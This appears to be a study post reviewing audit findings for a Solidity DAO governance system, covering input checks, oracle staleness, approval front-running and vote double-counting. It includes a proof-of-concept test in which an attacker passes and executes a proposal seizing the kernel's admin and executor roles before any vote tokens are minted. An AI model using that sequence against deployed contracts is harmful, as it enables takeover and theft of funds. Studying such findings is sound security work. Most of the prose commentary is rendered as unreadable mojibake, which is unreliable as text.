//INSTR.sol
function store(Instruction[] calldata instructions_) external permissioned returns (uint256) {
uint256 length = instructions_.length;
uint256 instructionsId = ++totalInstructions;
Instruction[] storage instructions = storedInstructions[instructionsId];
if (length == 0) revert INSTR_InstructionsCannotBeEmpty();
for (uint256 i; i < length; ) {
Instruction calldata instruction = instructions_[i];
ensureContract(instruction.target);
// If the instruction deals with a module, make sure the module has a valid keycode (UPPERCASE A-Z ONLY)
if (
instruction.action == Actions.InstallModule ||
instruction.action == Actions.UpgradeModule
) {
Module module = Module(instruction.target);
ensureValidKeycode(module.KEYCODE());
} else if (instruction.action == Actions.ChangeExecutor && i != length - 1) {
// Throw an error if ChangeExecutor exists and is not the last Action in the instruction list.
// This exists because if ChangeExecutor is not the last item in the list of instructions,
// the Kernel will not recognize any of the following instructions as valid, since the policy
// executing the list of instructions no longer has permissions in the Kernel. To avoid this issue
// and prevent invalid proposals from being saved, we perform this check.
revert INSTR_InvalidChangeExecutorAction();
}
instructions.push(instructions_[i]);
unchecked {
++i;
}
}
emit InstructionsStored(instructionsId);
return instructionsId;
}
instructions_
์ ๋ฐ์์ ๊ธฐ์กด instructions์ ์ถ๊ฐํ๋ ํจ์๋ค. ๊ทธ๋ฐ๋ฐ instructions_
์ ๋ฐ์ ๋ ๋ค์ด์จ ๊ฐ์ length๊ฐ 0์ธ์ง ์ฒดํฌํ๋ ๋ถ๋ถ์ด ์ฒ์์ด ์๋๋ผ ์ค๊ฐ์ ์๋ค. revert๊ฐ ๋์ ํฌ๊ฒ ์๊ด์๊ฒ ์ง๋ง, ์ด๋ฐ์ ํ์ธํ๋ ๊ฒ ์ข์ง ์์๊น ์ถ์ด์ ๊ฐ์ ธ์๋ดค๋ค.
//PRICE.sol
constructor(
Kernel kernel_,
AggregatorV2V3Interface ohmEthPriceFeed_,
AggregatorV2V3Interface reserveEthPriceFeed_,
uint48 observationFrequency_,
uint48 movingAverageDuration_
) Module(kernel_) {
/// @dev Moving Average Duration should be divisible by Observation Frequency to get a whole number of observations
if (movingAverageDuration_ == 0 || movingAverageDuration_ % observationFrequency_ != 0)
revert Price_InvalidParams();
//..
}
function getCurrentPrice() public view returns (uint256) {
if (!initialized) revert Price_NotInitialized();
// Get prices from feeds
uint256 ohmEthPrice;
uint256 reserveEthPrice;
{
(, int256 ohmEthPriceInt, , uint256 updatedAt, ) = _ohmEthPriceFeed.latestRoundData();
// Use a multiple of observation frequency to determine what is too old to use.
// Price feeds will not provide an updated answer if the data doesn't change much.
// This would be similar to if the feed just stopped updating; therefore, we need a cutoff.
if (updatedAt < block.timestamp - 3 * uint256(observationFrequency))
revert Price_BadFeed(address(_ohmEthPriceFeed));
ohmEthPrice = uint256(ohmEthPriceInt);
int256 reserveEthPriceInt;
(, reserveEthPriceInt, , updatedAt, ) = _reserveEthPriceFeed.latestRoundData();
if (updatedAt < block.timestamp - uint256(observationFrequency))
revert Price_BadFeed(address(_reserveEthPriceFeed));
reserveEthPrice = uint256(reserveEthPriceInt);
}
// Convert to OHM/RESERVE price
uint256 currentPrice = (ohmEthPrice * _scaleFactor) / reserveEthPrice;
return currentPrice;
}
์ฒ์ constructor์์ movingAverageDuration_
๊ณผ observationFrequency_
๊ฐ์ ๋ฃ์ด์ค๋ค. ๊ทธ๋ฐ๋ฐ if๋ฌธ์ ํตํด movingAverageDuration_
๊ฐ๋ง 0์ธ์ง ํ์ธํ๋ค. constructor์์๋ ์๊ด์ด ์์ง๋ง ์ดํ getCurrentPrice()
์์ ์๋ if๋ฌธ ๋๋ฌธ์ ๊ณ์ revert๊ฐ ๋ ๊ฒ์ด๋ค. updatedAt์ ๋ฌด์กฐ๊ฑด ํ์ฌ block.timestamp ๋ณด๋ค ์์ ์ ๋ฐ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
if (updatedAt < block.timestamp - 3 * uint256(observationFrequency))
revert Price_BadFeed(address(_ohmEthPriceFeed));
๋ฐ๋ผ์ constructor ๋ถ๋ถ์ observationFrequency_
๊ฐ๋ 0์ธ์ง ํ์ธํ๋ ๋ถ๋ถ์ด ์ถ๊ฐ๋์ด์ผ ํ๋ค.
//Kernel.sol
type Keycode is bytes5;
type Role is bytes32;
//KernelUtils.sol
function toKeycode(bytes5 keycode_) pure returns (Keycode) {
return Keycode.wrap(keycode_);
}
// solhint-disable-next-line func-visibility
function fromKeycode(Keycode keycode_) pure returns (bytes5) {
return Keycode.unwrap(keycode_);
}
KernelUtils์ .wrap()
๊ณผ .unwrap()
์ด ์๋๋ฐ Kernel์ด๋ ๋ค๋ฅธ ์ปจํธ๋ํธ๋ฅผ ์๋ฌด๋ฆฌ ์ฐพ์ ๋ด๋ ํด๋น ํจ์๋ฅผ ์ ์ํ๋ ๋ถ๋ถ์ ์์๋ค. bytes ํ์
์ ์ํด์๋ ํ์
์ธ์ง ์ฐพ์๋ดค์ง๋ง ๋ณ ๋ด์ฉ์ด ์์๋ค. ๊ณ์ ๊ณต์ ๋ฌธ์๋ฅผ ๋ค์ง๋ค๊ฐ ์๋ ๋ด์ฉ์ ๋ฐ๊ฒฌํ๋ค.
์ฌ์ฉ์๊ฐ ์ง์ ํ ํ์
(C)๊ณผ ๊ธฐ์กด์ ์กด์ฌํ๋ ํ์
(V)์ ์กฐ์ ํ ์ ์๋ค. type C is V
์ ์๋ก ๋ค๋ฉด, C.wrap(a)
๋ฅผ ํ์ ๋ ์๋ Vํ์
์ธ a๊ฐ Cํ์
์ผ๋ก ๋ณํ๊ณ , C.unwrap(a)
๋ฅผ ํ๋ฉด ๋ค์ Vํ์
์ผ๋ก ๋์์จ๋ค.
//KernelUtils.sol
function ensureContract(address target_) view {
uint256 size;
assembly {
size := extcodesize(target_)
}
if (size == 0) revert TargetNotAContract(target_);
}
target์ด ์ปจํธ๋ํธ์ธ์ง ์๋์ง ํ์ธํ๋ ํจ์๋ค. ์ extcodesize
๋ฅผ ํ์ธํด์ 0์ด ์๋์ด์ผ ํ๋์ง ๊ถ๊ธํด์ ์ฐพ์๋ดค๋ค. Consensys์ ethereum stackexchange ๋ต๋ณ์ ๋ฐ๋ฅด๋ฉด extcodesize
๋ ํด๋น ๊ณ์ ์ ์ฝ๋ ๊ธธ์ด๋ฅผ ๋ฆฌํดํ๋ค. ์ฆ, ์ฝ๋๋ฅผ ํฌํจํ ์ปจํธ๋ํธ๋ผ๋ฉด ์ฝ๋๊ฐ ์กด์ฌํ๊ธฐ ๋๋ฌธ์ 0๋ณด๋ค ํฐ ๊ฐ์ ๋ฆฌํดํ ๊ฒ์ด๊ณ ๋ฉํ๋ง์คํฌ ๊ฐ์ EOA๋ผ๋ฉด ์ฝ๋๊ฐ ์กด์ฌํ์ง ์๊ธฐ ๋๋ฌธ์ 0์ ๋ฆฌํดํ ๊ฒ์ด๋ค.
ํ ๊ฐ์ง ์ฃผ์ํ ์ ์ ์ปจํธ๋ํธ์ constructor์์ ํจ์๋ฅผ ํธ์ถํ ๊ฒฝ์ฐ ์ปจํธ๋ํธ๊ฐ ๋ฐฐํฌ ๋ ์์ ์ extcodesize
๋ 0์ด๊ธฐ ๋๋ฌธ์ ์ด ์ ์ ์ด์ฉํด์ ๊ณต๊ฒฉ๋นํ ์ ์๋ค๋ ์ ์ด๋ค. ๋ฐ๋ผ์ ๋ณด์์ ์ทจ์ฝํ ๋ถ๋ถ์ ์ฌ์ฉํ์ง ์๋ ๊ฒ์ ์ถ์ฒํ๋ค.
instructions.push(instructions_[i]);
unchecked {
++i;
}
๊ฐ๋ ํจ์ ๋ง์ง๋ง ๋ถ๋ถ์ unchecked
๊ฐ ์๋ค. ๋ฌด์จ ์ฉ๋์ธ์ง ์ฐพ์๋ดค๋ค. ์๋ underflow/overflow๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์๋ฆฌ๋ํฐ ์์ฒด์์ ๊ฒ์ฌ๋ฅผ ํ๋๋ฐ ์ด ๋ ๊ฐ์ค๊ฐ ์๋ชจ๋๋ค. underflow/overflow๊ฐ ์ผ์ด๋ ์ผ์ด ์๋ค๋ฉด unchecked
๋ฅผ ์ฌ์ฉํด์ ๊ฐ์ค๋ฅผ ์ ์ฝํ ์ ์๋ค๊ณ ํ๋ค.
//GOVERNANCE.sol
function activateProposal(uint256 proposalId_) external {
ProposalMetadata memory proposal = getProposalMetadata[proposalId_];
if (msg.sender != proposal.submitter) {
revert NotAuthorizedToActivateProposal();
}
if (block.timestamp > proposal.submissionTimestamp + ACTIVATION_DEADLINE) {
revert SubmittedProposalHasExpired();
}
if (
(totalEndorsementsForProposal[proposalId_] * 100) <
VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
) {
revert NotEnoughEndorsementsToActivateProposal();
}
if (proposalHasBeenActivated[proposalId_] == true) {
revert ProposalAlreadyActivated();
}
if (block.timestamp < activeProposal.activationTimestamp + GRACE_PERIOD) {
revert ActiveProposalNotExpired();
}
activeProposal = ActivatedProposal(proposalId_, block.timestamp);
proposalHasBeenActivated[proposalId_] = true;
emit ProposalActivated(proposalId_, block.timestamp);
}
proposal์ active์ํ๋ก ๋ง๋ค๊ธฐ ์ํด์ ์ฌ๋ฌ ์กฐ๊ฑด๋ค์ด ํ์ํ๋ค. ๊ทธ ์ค์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์กฐ๊ฑด์ ๋ค์๊ณผ ๊ฐ๋ค.
if (
(totalEndorsementsForProposal[proposalId_] * 100) <
VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
) {
revert NotEnoughEndorsementsToActivateProposal();
}
์์งํ ๋งํ๋ฉด ๋๋ ํด๋น ์กฐ๊ฑด๋ค์ ๋ณผ ๋ ๊ทธ ์กฐ๊ฑด๋ค์ด ๋ฌด์์ ์๋ฏธํ๋์ง ์ ํํ๊ฒ ํ์
ํ์ง ๋ชปํ๋ค. VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
๊ฐ ์ ์๋์ง ๊ณ ๋ฏผํ๋ค๊ฐ ๋๊ฒผ์๋ค. ๊ทธ๋ฐ๋ฐ ๋ค์ ์๊ฐํด๋ณด๋ ์ ์กฐ๊ฑด๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ด ๋ฐ๊ฟ ์ ์๋ค.
if (
(totalEndorsementsForProposal[proposalId_] / VOTES.totalSupply()) <
ENDORSEMENT_THRESHOLD / 100
) {
revert NotEnoughEndorsementsToActivateProposal();
}
์ฆ, ์ ์ฒด ํฌํ ์ ์ค์์ ์ฌ๋๋ค์ด ํด๋น ํ๋กํฌ์ ์ ํฌํํ ๋น์จ์ด 20%๋ฅผ ๋์ง ๋ชปํ๋ฉด active ํ ์ ์๋ค๋ ๊ฒ์ด๋ค. ์ด ๋ง์ ์ฌ๋๋ค์ด ๊ฐ์ง๊ณ ์๋ ํฌํ์๊ฐ ์ ์ฒด์ 20ํผ์ผํธ๊ฐ ์ต์ํ ์์ด์ผ ํ๋ค๋ ๋ง๊ณผ ๊ฐ๋ค.
๋ง์ฝ ํ๋์ ํ๋กํฌ์ ์ 81ํผ์ผํธ์ ํฌํ๊ฐ ๋ชฐ๋ฆฌ๋ฉด ์ด๋ป๊ฒ ๋ ๊น?
๋ฌธ์ ๋ ๋ค์๊ณผ ๊ฐ์ ์ํฉ์์ ๋ฐ์ํ๋ค. ํ๋์ ํ๋กํฌ์ ์ ์ฐฌ์ฑ 43%, ๋ฐ๋ 37%๋ก ์ ์ฒด ํฌํ์ 81%๊ฐ ๋ชฐ๋ ธ๋ค. ๊ทธ๋ ๋ค๋ฉด ํ์ฌ ์ ์ ๋ค์ด ๊ฐ์ง๊ณ ์๋ ํฌํ์๋ 19%๋ก ENDORSEMENT_THRESHOLD / 100
๋ฅผ ๋์ง ๋ชป ํ๋ค. ๋ฐ๋ผ์ ํ์ฌ activate๋ ํ๋กํฌ์ ์ด ๊ฐ๊ฒฐ/๋ถ๊ฒฐ๋๊ธฐ ์ ๊น์ง ์๋ก์ด ํ๋กํฌ์ ์ active ๋ ์ ์๋ค. ๋ํ executeProposal()
์๋ ํด๋น ์กฐ๊ฑด๋ฌธ์ด ํฌํจ๋์ด ์์ด์ executeํ ๋์๋ 20%๊ฐ ํ์ํ๋ค. ๊ทธ๋์ ํ๋กํฌ์ ์ด active ์ํ์ ๊ณ์ ๋จธ๋ฌผ ์ ๋ฐ์ ์๋ค.
warden์ด ์ ์ํ ๋์์ EXECUTION_EXPIRE
๋ฅผ constant๋ก ํด์ 2์ฃผ๋ก ์ก๋ ๊ฒ์ด๋ค. 2์ฃผ๊ฐ ์ง๋๋ฉด ํฌํ์๋ค์ด ์์ ์ ํฌํ๋ฅผ reclaimํ ์ ์๋๋ก ํด์ ๋ค์ ํฌํ๊ถ์ ๊ฐ์ ธ๊ฐ๋๋ก ํ๋ค. ๊ฒฐ๊ตญ ํฌํ๊ถ์ด ๋ฌถ์ด๋ ๊ฒ์ ๋ฐฉ์งํจ์ผ๋ก์จ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์๋ค.
//GOVERNANCE.sol
function submitProposal(
Instruction[] calldata instructions_,
bytes32 title_,
string memory proposalURI_
) external {
if (VOTES.balanceOf(msg.sender) * 10000 < VOTES.totalSupply() * SUBMISSION_REQUIREMENT)
revert NotEnoughVotesToPropose();
//..
emit ProposalSubmitted(proposalId);
}
function activateProposal(uint256 proposalId_) external {
//...
if (
(totalEndorsementsForProposal[proposalId_] * 100) <
VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
) {
revert NotEnoughEndorsementsToActivateProposal();
}
//..
}
function executeProposal() external {
uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] -
noVotesForProposal[activeProposal.proposalId];
if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) {
revert NotEnoughVotesToExecute();
}
if (block.timestamp < activeProposal.activationTimestamp + EXECUTION_TIMELOCK) {
revert ExecutionTimelockStillActive();
}
//..
}
ํ๋กํฌ์ ์ด ํต๊ณผ๋๊ธฐ๊น์ง์ ์ ์ฒด ์์๋ submit - activate - execute์ด๋ค. ๊ฐ ๋จ๊ณ๋ณ๋ก ํจ์๊ฐ ์คํ๋๊ธฐ ์ํ ์กฐ๊ฑด์ด ์๋ค. ์ด ๋ ๊ณตํต์ ์ผ๋ก VOTES.totalSupply()
์ ๊ฐ์ค์น๋ณด๋ค ํน์ ๊ฐ์ด ์์ผ๋ฉด revert๊ฐ ๋๊ฒ ๋์ด์๋ค.
๋ง์ฝ
VOTES.totalSupply()
๊ฐ 0์ด๋ผ๋ฉด?
VOTES๊ฐ ๋ฏผํ
๋๊ธฐ ์ ์ด๋ผ๋ฉด VOTES.totalSupply()
๋ 0์ด๋ค. ์ด ๋ ๊ฐ ํจ์์ ์กฐ๊ฑด์ ๋ค์ ๋ณด๋ฉด, ๋๋๊ฒ๋ ๋ชจ๋ false๊ฐ ๋๋ฉด์ revert๋ฅผ ๋ฒ์ด๋ ์ ์๋ค. ์ฆ, ํฌํ๊ถ ์์ด ํ๋กํฌ์ ์ submit - activate - execute ๋ชจ๋ ์ฑ๊ณต์ํฌ ์ ์๋ค๋ ์๊ธฐ๋ค. ์ด๋ ์์ฐ์ค๋ฝ๊ฒ ์๊ธ ํ์ทจ๋ก ์ด์ด์ง ๊ฒ์ด๊ณ ํ๋ก์ ํธ์ ์ํด๋ฅผ ๋ผ์น ๊ฒ์ด๋ค.
๋ง์ฝ ์ฝํ ์คํธ ์ค์ ์์ ๊ฐ์ ์๊ฐ์ ๋ ์ฌ๋ ธ๋ค๋ฉด ๋ฐ๋ก ํ ์คํธ ์ฝ๋๋ฅผ ์์ฑํด์ผ ํ๋ค. ์๋๋ warden์ด ์ด์์ ํจ๊ป ์ ์ถํ ํ ์คํธ ์ฝ๋๋ค. VOTES๊ฐ ๋ฏผํ ๋๊ธฐ ์ ์ Admin๊ณผ Executor ๊ถํ์ ๋๊ธฐ๋ ํ๋กํฌ์ ์ ์ฌ๋ฆฌ๊ณ execute ํ ๋ค์ ์ฑ๊ณต์ ์ผ๋ก ๊ถํ ํ์ทจํ ๊ฒ ๊น์ง ๋์์๋ค.
function test_AttackerPassesProposalBeforeMinting() public {
//์์ฒด์ ์ผ๋ก ๋ง๋ user. vm.deal()์ ํตํด 100์ด๋ ๋ณด์
address[] memory users = userCreator.create(1);
address attacker = users[0];
//atacker ์ฐ๊ฒฐ
vm.prank(attacker);
//์ปจํธ๋ํธ์ ํ๋กํฌ์ ์ฌ๋ฆด instruction ์์ฑ
MockMalicious attackerControlledContract = new MockMalicious();
Instruction[] memory instructions_ = new Instruction[](2);
//struct Instruction(action,target)
instructions_[0] = Instruction(Actions.ChangeAdmin, address(attackerControlledContract));
instructions_[1] = Instruction(Actions.ChangeExecutor, address(attackerControlledContract));
vm.prank(attacker);
governance.submitProposal(instructions_, "proposalName", "This is the proposal URI")
governance.endorseProposal(1);
vm.prank(attacker);
governance.activateProposal(1);
vm.warp(block.timestamp + 3 days + 1);
governance.executeProposal();
//๊ถํ ํ์ทจ ์ฑ๊ณต
assert(kernel.executor()==address(attackerControlledContract));
assert(kernel.admin()==address(attackerControlledContract));
}
์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ๊ฐ ํจ์์ VOTES.totalSupply()
์ ์ต์๊ฐ์ ํ์ธํ๋ ์ฝ๋๋ฅผ ์ถ๊ฐํด์ผ ํ๋ค.
//TRSRY.sol
function setApprovalFor(
address withdrawer_,
ERC20 token_,
uint256 amount_
) external permissioned {
withdrawApproval[withdrawer_][token_] = amount_;
emit ApprovedForWithdrawal(withdrawer_, token_, amount_);
}
//TreasuryCustodian.sol
function grantApproval(
address for_,
ERC20 token_,
uint256 amount_
) external onlyRole("custodian") {
TRSRY.setApprovalFor(for_, token_, amount_);
}
๊ธฐ์กด์ Alice๋ 100๋งํผ ์ธ์ถํ ์ ์๋ค. ๋ง์ฝ custodian
์ด Alice์ ์ธ์ถ ํ๋๋ฅผ 50์ผ๋ก ์ค์ด๋ ํธ๋์ญ์
์ ๋ณด๋ธ๋ค๊ณ ๊ฐ์ ํ์ ๋, mempool์ ๋ชจ๋ํฐ๋ง ํ๊ณ ์๋ Alice๋ ๊ฐ์ค๋น๋ฅผ ๋ ์ค์ 1) ๋จผ์ 100๋งํผ ์ธ์ถํ๊ณ 2) ํ๋๊ฐ 50์ผ๋ก ์ค์ด๋ค๋ฉด 3) ๋ค์ 50์ ์๋ก ์ธ์ถํ ์ ์๋ค. ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด์ approve ํ๋ ๊ธ์ก์ ์๋ก ํ ๋นํ๋ ๊ฒ์ด ์๋ ๊ธฐ์กด ์ธ์ถ๊ฐ๋ฅ ๊ธ์ก์์ ์ฐจ๊ฐํ๋ ํ์์ผ๋ก ์ฝ๋๋ฅผ ์์ ํด์ผ ํ๋ค.
withdrawApproval ๊ด๋ จ ํจ์๊ฐ ๋์ค๋ฉด ํญ์ mempool์ ๋ชจ๋ํฐ๋ง ํ๊ณ ์๋ Alice๋ฅผ ๊ธฐ์ตํ์.
//Governance.sol
function submitProposal(
Instruction[] calldata instructions_,
bytes32 title_,
string memory proposalURI_
) external {
if (VOTES.balanceOf(msg.sender) * 10000 < VOTES.totalSupply() * SUBMISSION_REQUIREMENT)
revert NotEnoughVotesToPropose();
uint256 proposalId = INSTR.store(instructions_);
getProposalMetadata[proposalId] = ProposalMetadata(
title_,
msg.sender,
block.timestamp,
proposalURI_
);
emit ProposalSubmitted(proposalId);
}
INSTR.store(instructions_)
์ ํตํด getProposalMetadata[proposalId]
์ ์๋ก์ด ํ๋กํฌ์ ์ ํ ๋นํ ๋ ์ด๋ฏธ ์๋ ํ๋กํฌ์ ์ธ์ง ํ์ธํ์ง ์๋๋ค. ๋ฐ๋ผ์ ์ด์ ํ๋กํฌ์ ์ด ๋๋ฝ๋๊ณ ์๋ก์ด ํ๋กํฌ์ ๋ก ๋์ฒด๋ ์ ์๋ค. ์ค๋ณต ์ฒดํฌํ๋ ์ฝ๋๊ฐ ์ถ๊ฐ๋์ด์ผ ํ๋ค.
/// @notice Votes module is the ERC20 token that represents voting power in the network.
/// @dev This is currently a substitute module that stubs gOHM.
contract OlympusVotes is Module, ERC20 {
//..
์ฝ๋ฉํธ์ OlympusVotes๋ gOHM์ ๋์ฒด์ ๋ก ์ฌ์ฉ๋๋ค๊ณ ๋์์๋ค. that stubs gOHM
์ด๋ผ๋ ๋ง์ ํ์ฌ ํ
์คํธ ๋จ๊ณ์์ ์ง์ ์ ์ผ๋ก gOHM์ ์ฌ์ฉํ ์ ์์ผ๋ gOHM์ ๋ณธ๊ฒฉ์ ์ผ๋ก ์ฌ์ฉํ๊ธฐ ์ ์ ์์์ ์ผ๋ก OlympusVotes๋ฅผ ์ฌ์ฉํ ๊ฒ์ด๊ณ , ์ถํ์ gOHM์ผ๋ก ๋ฐ๊พผ๋ค๋ ๋ป์ด๋ค.
As an additional safety mechanism, when votes are cast, the tokens used to vote on the proposal are locked in the contract until the proposal is no longer active. This exists to deter malicious behavior by ensuring users cannot transfer their voting tokens until after the proposal has been resolved. Once a proposal is no longer active, either by being executed or replaced by a new proposal, users may redeem their votes back from the contract.
ํ๋ก์ ํธ ์ธก์ ๊ณต์๋ฌธ์์ ๋ฐ๋ฅด๋ฉด Votes ํ ํฐ์ ํฌํ ์งํ ์ด๋ํ ์ ์๋ค. ๊ทธ๋ฌ๋ ํ์ฌ ์ด๋์ค์บ์์ gOHM์ ์ปจํธ๋ํธ๋ฅผ ๋ณด๋ฉด transfer
์ transferFrom
ํจ์๊ฐ ์กด์ฌํ๋ค. ๋ฐ๋ผ์ ์ถํ์ gOHM์ผ๋ก ๋ณ๊ฒฝํ์ ๋ ํด์ปค๊ฐ ํฌํ ์งํ ๋ค๋ฅธ ์ง๊ฐ์ผ๋ก gOHM์ ์ ์กํด์ ์ค๋ณต ํฌํํ ์ ์๋ค.
์ด๋ฅผ ์๋ฐฉํ๊ธฐ ์ํ ๋ฐฉ๋ฒ์ผ๋ก๋ ์ ์ ๋ค์ด ํฌํํ์ ๋ ํด๋น ํ ํฐ์ ๊ฑฐ๋ฒ๋์ค์ ์ข ์๋๋๋ก ํด์ ๋ค๋ฅธ ์ง๊ฐ์ผ๋ก ์ ์กํ์ง ๋ชป ํ๊ฒ ํ๋ ๊ฒ์ด๋ค. ํด๋น ์ด์๊ฐ ์ ์ถ๋๊ณ ๋์ ํ๋ก์ ํธ ์ธก์์๋ staking vault๋ฅผ ํตํด ๋ฐฉ์งํ ์์ ์ด๋ผ๊ณ ํ๋ค.